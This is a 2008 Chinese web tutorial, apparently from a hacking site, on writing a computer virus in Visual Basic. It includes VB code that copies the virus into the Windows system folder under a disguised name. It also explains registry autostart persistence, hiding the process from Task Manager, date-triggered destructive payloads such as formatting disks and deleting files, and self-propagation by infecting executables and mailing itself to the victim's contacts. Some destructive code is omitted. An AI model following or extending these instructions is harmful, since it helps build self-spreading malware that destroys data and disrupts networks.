如何用Visual Basic编写病毒
日期:2008年6月30日 作者: 查看:[大字体 中字体 小字体]-
相信电脑界的每个人都痛恨计算机病毒,她给我们带来了很多麻烦和损失,可你知道编写病毒的方法和过程吗?在此我仅以VB编写为例,揭开她的面纱。
用VB编写病毒需要考虑到如下几点:
* 感染主机
首先染毒文件运行后先要判断主机是否以感染病毒,也就是判断病毒主体文件是否存在,如果不存在则将病毒主体拷贝到指定位置(如:将病毒文件拷贝到c:\windows\system\),可用filecopy语句实现;如果病毒已感染主机则结束判断。
例如,判断C:\windows\system\Killer.exe是否存在,如果有则退出判断,如果没有则证明本机未感染病毒,立即拷入病毒文件。
病毒源文件名为game.exe
声明部分:
""定义 FileExists% 函数
public success%
Function FileExists%(fname$)
On Local Error Resume Next
Dim ff%
ff% = FreeFile
Open fname$ For Input As ff%
If Err Then
FileExists% = False
Else
FileExists% = True
End If
Close ff%
End Function
代码部分:
""判断文件是否存在
success% = FileExists%("C:\windows\system\Killer.exe")
If success% = False Then ""病毒不存在则拷贝病毒到计算机
FileCopy "game.exe", "C:\windows\system\Killer.exe"
... ""修改注册表,将其加入RUN中。(省略若干代码)
End If
* 开机启动病毒
在病毒感染主机的同时,将自身加入注册表的开机运行中,这与向主机拷入病毒是同时进行的,主机感染后不再修改注册表。可通过编程和调用API函数对WIN注册表进行操作来实现,这样在每次启动计算机时病毒自动启动。(具体编写方法请查阅其它资料)
* 任务管理器
在任务管理器列表中禁止病毒本身被列出,可以通过编程来实现。用代码 App.TaskVisible = false 就可以实现;再有就是通过调用Win API函数来实现,这里就不作介绍了。
* 病毒发作条件
可用Day(Date)来判断今天是几号,再与确定好的日期作比较,相同则表现出病毒主体的破坏性,否则不发作。也可用Time、Date或其它方法作为病毒发作条件的判断。例:
if day(date)=16 then ""16是发作日期,取值为1-31的整数
... ... ""kill ******* 当日期相符时运行的破坏性代码(格式化、删除指定的文件类型、发送数据包杜塞网路等,省略若干代码)
end if
* 病毒的破坏性
编写的此部分代码决定了病毒威力的强弱。轻的可以使系统资源迅速减少直至死机(需要你懂得一点蠕虫的原理),也就是实现开机即死的效果;也可以加入硬盘炸弹代码、系统后台删文件等。重的可以使计算机彻底瘫痪(不作介绍,你可以参阅其它病毒的有关资料)。
* 病毒的繁殖
原理很简单,就是将其自身与其它可执行文件合并,也就是两个文件并成一个文件。也可通过E-Mail传播,方法是病毒读取被感染主机的邮件列表,将带有病毒附件的E-Mail发给列表中的每一个人(这需要你懂得VB网络编程)。 - [1] [2] 下一页
-
- 如何用Visual Basic编写病毒 相关文章:
- ·梦幻西游盗号木马下载病毒并盗号
- ·魔波病毒补丁下载
- ·病毒清除技巧 ati2evxx.exe 的清除方法
- ·recycle.exe病毒手动解决的方法
- ·警惕Trojan-PSW.Win32.WOW.ck木马病毒
- ·病毒编程技术之恶意代码的亲密接触
- ·VBS脚本病毒原理分析与防范 (1)
- ·反病毒引擎设计
- ·病毒导致输入法无效的处理方法
- ·反病毒引擎设计全解
- 如何用Visual Basic编写病毒 相关软件
- ·USBKiller(U盘病毒专杀工具) 2.3 Build0610
- ·数据病毒木马暴力杀灭天王 PowerRmv V1.0
- ·U盘病毒专杀工具-USBCleaner 6.0 Build 20080708
- ·AntiPopVirus(流行病毒木马专杀工具) V1.1
- ·超级巡警之U盘病毒免疫器V1.4 正式版
- ·Autorun病毒防御者 v2.3.1.125
- ·McAfee VirusScan SuperDAT(Engine + DAT) 5081 病毒码
- ·冲击波病毒专杀工具包 V 1.0
- ·ESET NOD32反病毒套装 离线升级包 V3131 (20080528)
- ·金山毒霸“魔鬼波”病毒专杀工具 V3.2
- 特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作
- 者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转
- 载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源:http://www.hackhome.com
下一篇:SEO服务相关问题
精品推荐
热点TOP10
- ·VB+Access设计图书管理系统
- ·VB设计有语音报时和报警功能的闹钟
- ·通信控件MSComm使用详解
- ·窗体控件大小随窗体大小变化而变化
- ·VB中使用EXCEL输出
- ·FindWindow
- ·用VB跟我学做记事本(很简单哟)
- ·七段数码管显示控件的制作与应用
- ·180个VB图形界面类源码实例下载
- ·VB的数据库类型源码60实例下载
- ·利用VB控件操作目录和文件夹
- ·CreateFile
- ·VB中使用DirectX库的简明教程
- ·二进制文件编辑器
- ·用VB6.0编写自己的MP3播放器
- ·用VB编写记事本
- ·VB打造超酷个性化菜单(六)
- ·在局域网内发送消息
- ·巧用VB6的DataGrid实现通用电子表格
- ·怎样检查声卡的存在
特别推荐
- ·怎样检查声卡的存在
- ·用VB6.0编写自己的MP3播放器
- ·深入浅出VB.Net Windows Form
- ·简易股票税率计算器
- ·VisualBasic 6编程中的汉字处理
- ·自动读取用户登陆名称,再进行密码验证
- ·用API函数遍历指定驱动器、目录的文件
- ·VB的数据库类型源码60实例下载
- ·用VB制作IE工具条自定义按钮
- ·用VB创建MS Office的COM加载项
- ·教你用Visual Basic制作安装程序
- ·WebComputing━ADO总结报告
- ·vsprint打印实例
- ·用VB实现一个简单的ESMTP客户端
- ·webbrowser 技巧2 (收藏)
- ·SetForegroundWindow
- ·用API修改注册表的完整模块
- ·VB打造超酷个性化菜单(六)
- ·WINDOWS消息说明
- ·窗体控件大小随窗体大小变化而变化
